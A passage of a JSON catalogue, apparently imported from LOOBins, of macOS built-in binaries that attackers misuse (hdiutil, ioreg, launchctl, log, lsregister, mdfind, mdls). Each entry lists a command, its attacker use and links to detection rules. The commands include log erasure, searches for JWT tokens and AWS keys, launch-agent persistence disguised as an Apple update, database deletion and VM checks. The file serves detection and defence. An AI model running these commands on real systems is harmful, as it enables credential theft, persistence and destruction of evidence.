       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Sigma: Disk Image Mounting Via Hdiutil",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_hdiutil_mount.yml"
         },
         {
           "type": "Sigma: Disk Image Creation Via Hdiutil",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_hdiutil_create.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/hdiutil.yml",
         "https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/"
       ]
     },
     {
       "id": "loobins:hdiutil:ccc86b6f28e110a5",
       "toolId": "loobins:hdiutil",
       "toolName": "hdiutil",
       "name": "Mount a malicious iso file",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Execution"
       ],
       "nativeCategory": [
         "Execution"
       ],
       "command": "hdiutil attach malicious.iso",
       "description": "Uses hdiutil to mount a malicious iso file to the system.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/hdiutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Sigma: Disk Image Mounting Via Hdiutil",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_hdiutil_mount.yml"
         },
         {
           "type": "Sigma: Disk Image Creation Via Hdiutil",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_hdiutil_create.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/hdiutil.yml",
         "https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/"
       ]
     },
     {
       "id": "loobins:hdiutil:66e95ce99ee93ded",
       "toolId": "loobins:hdiutil",
       "toolName": "hdiutil",
       "name": "Exfiltrate data in dmg file",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Collection"
       ],
       "nativeCategory": [
         "Collection"
       ],
       "command": "hdiutil create -volname \"Volume Name\" -srcfolder /path/to/folder -ov diskimage.dmg",
       "description": "Uses hdiutil to create a dmg file to store exfiltrate data",
       "mitre": [],
       "fullPath": [
         "/usr/bin/hdiutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Sigma: Disk Image Mounting Via Hdiutil",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_hdiutil_mount.yml"
         },
         {
           "type": "Sigma: Disk Image Creation Via Hdiutil",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_hdiutil_create.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/hdiutil.yml",
         "https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/"
       ]
     },
     {
       "id": "loobins:hdiutil:3abba42650076ac3",
       "toolId": "loobins:hdiutil",
       "toolName": "hdiutil",
       "name": "Exfiltrate data in encrypted dmg file",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Collection"
       ],
       "nativeCategory": [
         "Collection"
       ],
       "command": "hdiutil create -encryption -stdinpass -volname \"Volume Name\" -srcfolder /path/to/folder -ov encrypteddiskimage.dmg",
       "description": "Uses hdiutil to create a dmg file to store exfiltrate data",
       "mitre": [],
       "fullPath": [
         "/usr/bin/hdiutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Sigma: Disk Image Mounting Via Hdiutil",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_hdiutil_mount.yml"
         },
         {
           "type": "Sigma: Disk Image Creation Via Hdiutil",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_hdiutil_create.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/hdiutil.yml",
         "https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/"
       ]
     },
     {
       "id": "loobins:ioreg:dcc33326372b51d5",
       "toolId": "loobins:ioreg",
       "toolName": "ioreg",
       "name": "Use ioreg to check whether the remote macOS screen is locked.",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "ioreg -n Root -d1 -a | grep CGSSession",
       "description": "The following command will display a list of keys that contain \"CGSSession\". If the key \"CGSSessionScreenIsLocked\" is present, the screen is actively locked.",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/ioreg"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "System Information Discovery Using Ioreg",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_ioreg_discovery.yml"
         },
         {
           "type": "Jamf Protect: Ioreg used to detect if the screen is locked",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/lockscreen_check"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/ioreg.yml",
         "https://evasions.checkpoint.com/src/MacOS/macos.html",
         "https://github.com/cedowens/SwiftBelt-JXA/blob/main/SwiftBelt-JXA.js#520"
       ]
     },
     {
       "id": "loobins:ioreg:b067f0c68c730682",
       "toolId": "loobins:ioreg",
       "toolName": "ioreg",
       "name": "Use ioreg to check whether the host is on a physical machine or a VM",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery",
         "Collection"
       ],
       "nativeCategory": [
         "Discovery",
         "Collection"
       ],
       "command": "ioreg -rd1 -c IOPlatformExpertDevice",
       "description": "Check the output of this command (specifically the IOPlatformSerialNumber, board-id, and manufacturer fields) to check whether or not this host is in a virtual machine.",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/ioreg"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "System Information Discovery Using Ioreg",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_ioreg_discovery.yml"
         },
         {
           "type": "Jamf Protect: Ioreg used to detect if the screen is locked",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/lockscreen_check"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/ioreg.yml",
         "https://evasions.checkpoint.com/src/MacOS/macos.html",
         "https://github.com/cedowens/SwiftBelt-JXA/blob/main/SwiftBelt-JXA.js#520"
       ]
     },
     {
       "id": "loobins:ioreg:cd37720e15a402b9",
       "toolId": "loobins:ioreg",
       "toolName": "ioreg",
       "name": "Use ioreg to check USB device vendor names",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery",
         "Collection"
       ],
       "nativeCategory": [
         "Discovery",
         "Collection"
       ],
       "command": "ioreg -rd1 -c IOUSBHostDevice",
       "description": "Grep for \"USB Vendor Name\" values to view USB vendor names. On virtualized hardware these values may contain the hypervisor name such as \"VirtualBox\". This is an additional way to check for virtualization.",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/ioreg"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "System Information Discovery Using Ioreg",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_ioreg_discovery.yml"
         },
         {
           "type": "Jamf Protect: Ioreg used to detect if the screen is locked",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/lockscreen_check"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/ioreg.yml",
         "https://evasions.checkpoint.com/src/MacOS/macos.html",
         "https://github.com/cedowens/SwiftBelt-JXA/blob/main/SwiftBelt-JXA.js#520"
       ]
     },
     {
       "id": "loobins:ioreg:fbb090f474aa6ca4",
       "toolId": "loobins:ioreg",
       "toolName": "ioreg",
       "name": "Check all ioreg properties for hypervisor names.",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery",
         "Collection"
       ],
       "nativeCategory": [
         "Discovery",
         "Collection"
       ],
       "command": "ioreg -l",
       "description": "Grep for \"virtual box\", \"oracle\", and \"vmware\" from the output of the ioreg -l command. This is an additional way to check for virtualization.",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/ioreg"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "System Information Discovery Using Ioreg",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_ioreg_discovery.yml"
         },
         {
           "type": "Jamf Protect: Ioreg used to detect if the screen is locked",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/lockscreen_check"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/ioreg.yml",
         "https://evasions.checkpoint.com/src/MacOS/macos.html",
         "https://github.com/cedowens/SwiftBelt-JXA/blob/main/SwiftBelt-JXA.js#520"
       ]
     },
     {
       "id": "loobins:kextstat:c2c6f26bdef46a47",
       "toolId": "loobins:kextstat",
       "toolName": "kextstat",
       "name": "List kernel extensions",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "kexstat",
       "description": "Uses kexstat showloaded to display kernel extensions and address in kernel memory it has been loaded",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/kextstat"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/kextstat.yml",
         "https://ss64.com/osx/kextstat.html"
       ]
     },
     {
       "id": "loobins:last:6dcde1a1bfcae0a2",
       "toolId": "loobins:last",
       "toolName": "last",
       "name": "Enumerate the users who are currently logged into the system.",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "last | grep \"still logged in\"",
       "description": "The following command will display sessions that are currently active.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/last"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "System Network Connections Discovery",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_system_network_connections_discovery.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/last.yml",
         "https://ss64.com/osx/last.html"
       ]
     },
     {
       "id": "loobins:last:ed7e3de067377640",
       "toolId": "loobins:last",
       "toolName": "last",
       "name": "Enumerate all user accounts that have logged into the system previously.",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "last -t console",
       "description": "The last command can be used to output users who have previously logged in, by specifying the tty interface 'console'.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/last"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "System Network Connections Discovery",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_system_network_connections_discovery.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/last.yml",
         "https://ss64.com/osx/last.html"
       ]
     },
     {
       "id": "loobins:last:5ba5734955e17f30",
       "toolId": "loobins:last",
       "toolName": "last",
       "name": "Enumerate all hosts that have remotely logged into the system before.",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "last | grep -E '[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+'",
       "description": "An attacker can use 'last' with a filter to retrieve the connection date and remote host information for remote logins.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/last"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "System Network Connections Discovery",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_system_network_connections_discovery.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/last.yml",
         "https://ss64.com/osx/last.html"
       ]
     },
     {
       "id": "loobins:launchctl:cab792e5e586c548",
       "toolId": "loobins:launchctl",
       "toolName": "launchctl",
       "name": "Use launchctl to execute an application",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Execution",
         "Persistence"
       ],
       "nativeCategory": [
         "Execution",
         "Persistence"
       ],
       "command": "sudo launchctl load /Library/LaunchAgent/com.apple.installer",
       "description": "A oneliner that will load a plist as a LaunchAgent or LaunchDaemon, achieving persistence on a target machine. This command requires root privileges.",
       "mitre": [],
       "fullPath": [
         "/bin/launchctl"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "LaunchAgents and LaunchDaemons must have a plist file on disk in the root, system, or user Library directory. Monitoring for plist's with executables located in /tmp or /Shared could identify suspicious applications.",
           "value": "LaunchAgents and LaunchDaemons must have a plist file on disk in the root, system, or user Library directory. Monitoring for plist's with executables located in /tmp or /Shared could identify suspicious applications."
         },
         {
           "type": "Jamf Protect: Detect launchctl activity that unloads or bootsout specific service",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/launchctl_unload_and_bootout_events"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/launchctl.yml",
         "https://www.sentinelone.com/labs/20-common-tools-techniques-used-by-macos-threat-actors-malware/",
         "https://attack.mitre.org/techniques/T1569/001/",
         "https://attack.mitre.org/techniques/T1543/001/",
         "https://unit42.paloaltonetworks.com/unit42-sofacys-komplex-os-x-trojan/"
       ]
     },
     {
       "id": "loobins:launchctl:e0168ff2595cd079",
       "toolId": "loobins:launchctl",
       "toolName": "launchctl",
       "name": "Persistent launch agent",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Persistence"
       ],
       "nativeCategory": [
         "Persistence"
       ],
       "command": "launchctl load -w ~/Library/LaunchAgents/com.apple.updates.plist",
       "description": "Creation of a persistent launch agent called with $HOME/Library/LaunchAgents/com.apple.updates.plist",
       "mitre": [],
       "fullPath": [
         "/bin/launchctl"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "LaunchAgents and LaunchDaemons must have a plist file on disk in the root, system, or user Library directory. Monitoring for plist's with executables located in /tmp or /Shared could identify suspicious applications.",
           "value": "LaunchAgents and LaunchDaemons must have a plist file on disk in the root, system, or user Library directory. Monitoring for plist's with executables located in /tmp or /Shared could identify suspicious applications."
         },
         {
           "type": "Jamf Protect: Detect launchctl activity that unloads or bootsout specific service",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/launchctl_unload_and_bootout_events"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/launchctl.yml",
         "https://www.sentinelone.com/labs/20-common-tools-techniques-used-by-macos-threat-actors-malware/",
         "https://attack.mitre.org/techniques/T1569/001/",
         "https://attack.mitre.org/techniques/T1543/001/",
         "https://unit42.paloaltonetworks.com/unit42-sofacys-komplex-os-x-trojan/"
       ]
     },
     {
       "id": "loobins:log:32d51b69b7129486",
       "toolId": "loobins:log",
       "toolName": "log",
       "name": "Remove all log messages",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Defense Evasion"
       ],
       "command": "log erase --all",
       "description": "An attacker can cover up their tracks by removing all log messages using the following command. Requires root privileges.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/log"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/log.yml",
         "https://shellcromancer.io/posts/living-off-of-macos/"
       ]
     },
     {
       "id": "loobins:log:4e78bd2f52cfc999",
       "toolId": "loobins:log",
       "toolName": "log",
       "name": "Search log messages for tokens",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Credential Access"
       ],
       "nativeCategory": [
         "Credential Access"
       ],
       "command": "log show --info --debug --predicate 'eventMessage CONTAINS[d] \"eyJ\"'",
       "description": "An attacker can potentially search log messages and review if they do contain sensitive information like jwt tokens.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/log"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/log.yml",
         "https://shellcromancer.io/posts/living-off-of-macos/"
       ]
     },
     {
       "id": "loobins:lsregister:160ac1ed847c10ba",
       "toolId": "loobins:lsregister",
       "toolName": "lsregister",
       "name": "Force an update of the Launch Services database",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -f",
       "description": "The -f flag can be used to force an update of the Launch Services database. This can be used to quickly register a custom URL scheme that points to a malicious app.",
       "mitre": [],
       "fullPath": [
         "/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/lsregister.yml",
         "https://www.jamf.com/blog/remote-mac-exploitation-via-custom-url-schemes/",
         "https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation"
       ]
     },
     {
       "id": "loobins:lsregister:352322721f01970b",
       "toolId": "loobins:lsregister",
       "toolName": "lsregister",
       "name": "Get a list of apps and their bindings",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -E \"path:|bindings:|name: | more\"",
       "description": "The -dump flag can be used to get a list of apps and their bindings",
       "mitre": [],
       "fullPath": [
         "/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/lsregister.yml",
         "https://www.jamf.com/blog/remote-mac-exploitation-via-custom-url-schemes/",
         "https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation"
       ]
     },
     {
       "id": "loobins:lsregister:4e2159119984afaf",
       "toolId": "loobins:lsregister",
       "toolName": "lsregister",
       "name": "Delete the Launch Services database",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [],
       "nativeCategory": [
         "Impact"
       ],
       "command": "lsregister -delete",
       "description": "The -delete flag can be used to delete the Launch Services database to impact normal operation of the system.",
       "mitre": [],
       "fullPath": [
         "/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/lsregister.yml",
         "https://www.jamf.com/blog/remote-mac-exploitation-via-custom-url-schemes/",
         "https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation"
       ]
     },
     {
       "id": "loobins:mdfind:c996ea826308e08e",
       "toolId": "loobins:mdfind",
       "toolName": "mdfind",
       "name": "Use mdfind to provide live updates to the number of files matching the query",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Reconnaissance",
         "Discovery"
       ],
       "command": "mdfind -live passw",
       "description": "A bash or zsh oneliner can cause mdfind to provide an attacker with live updates to the number of files on a system.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/mdfind"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Jamf Protect: Detect activity related to mdfind used to search for stored AWS keys",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/mdfind_search_aws_keys"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/mdfind.yml",
         "https://youtu.be/Snwh4mMe-Cg?t=45",
         "https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/"
       ]
     },
     {
       "id": "loobins:mdfind:2db1dd9877d58c35",
       "toolId": "loobins:mdfind",
       "toolName": "mdfind",
       "name": "Use mdfind to search for AWS Keys",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Reconnaissance",
         "Discovery"
       ],
       "command": "mdfind 'kMDItemTextContext == AKIA || kMDItemDisplayName = *AKIA* -onlyin ~'",
       "description": "Allows an attacker to query the filesystem via the CommandLine/Terminal to search for AWS keys.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/mdfind"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Jamf Protect: Detect activity related to mdfind used to search for stored AWS keys",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/mdfind_search_aws_keys"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/mdfind.yml",
         "https://youtu.be/Snwh4mMe-Cg?t=45",
         "https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/"
       ]
     },
     {
       "id": "loobins:mdfind:8bd2fd8338c96e64",
       "toolId": "loobins:mdfind",
       "toolName": "mdfind",
       "name": "Use mdfind to search for apps to infect",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery",
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Reconnaissance",
         "Discovery",
         "Defense Evasion"
       ],
       "command": "set appId to do shell script \"mdfind kMDItemCFBundleIdentifier = '\" & bundleId & \"'\"",
       "description": "Allows an attacker to determine if specific applications are installed and can be leveraged",
       "mitre": [],
       "fullPath": [
         "/usr/bin/mdfind"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Jamf Protect: Detect activity related to mdfind used to search for stored AWS keys",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/mdfind_search_aws_keys"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/mdfind.yml",
         "https://youtu.be/Snwh4mMe-Cg?t=45",
         "https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/"
       ]
     },
     {
       "id": "loobins:mdls:097a7a7a4f0a3991",
       "toolId": "loobins:mdls",
       "toolName": "mdls",
       "name": "Validate file download information",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Defense Evasion"
       ],
       "command": "mdls -name \"kMDItemWhereFroms\" -name \"kMDItemDownloadedDate\"",
       "description": "Use mdls to validate payload download sources and timestamps to guard against sandbox executions.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/mdls"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/mdls.yml",
         "https://blog.talosintelligence.com/bad-apples-weaponizing-native-macos-primitives-for-movement-and-execution/"
       ]
     },
     {
       "id": "loobins:mdls:518fce6d16797638",
       "toolId": "loobins:mdls",
       "toolName": "mdls",
       "name": "Query File Paths",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "xargs -0 mdls -n kMDItemPath -n kMDItemFSSize",
       "description": "Use mdls to print file paths and sizes when enumerating host resources.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/mdls"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
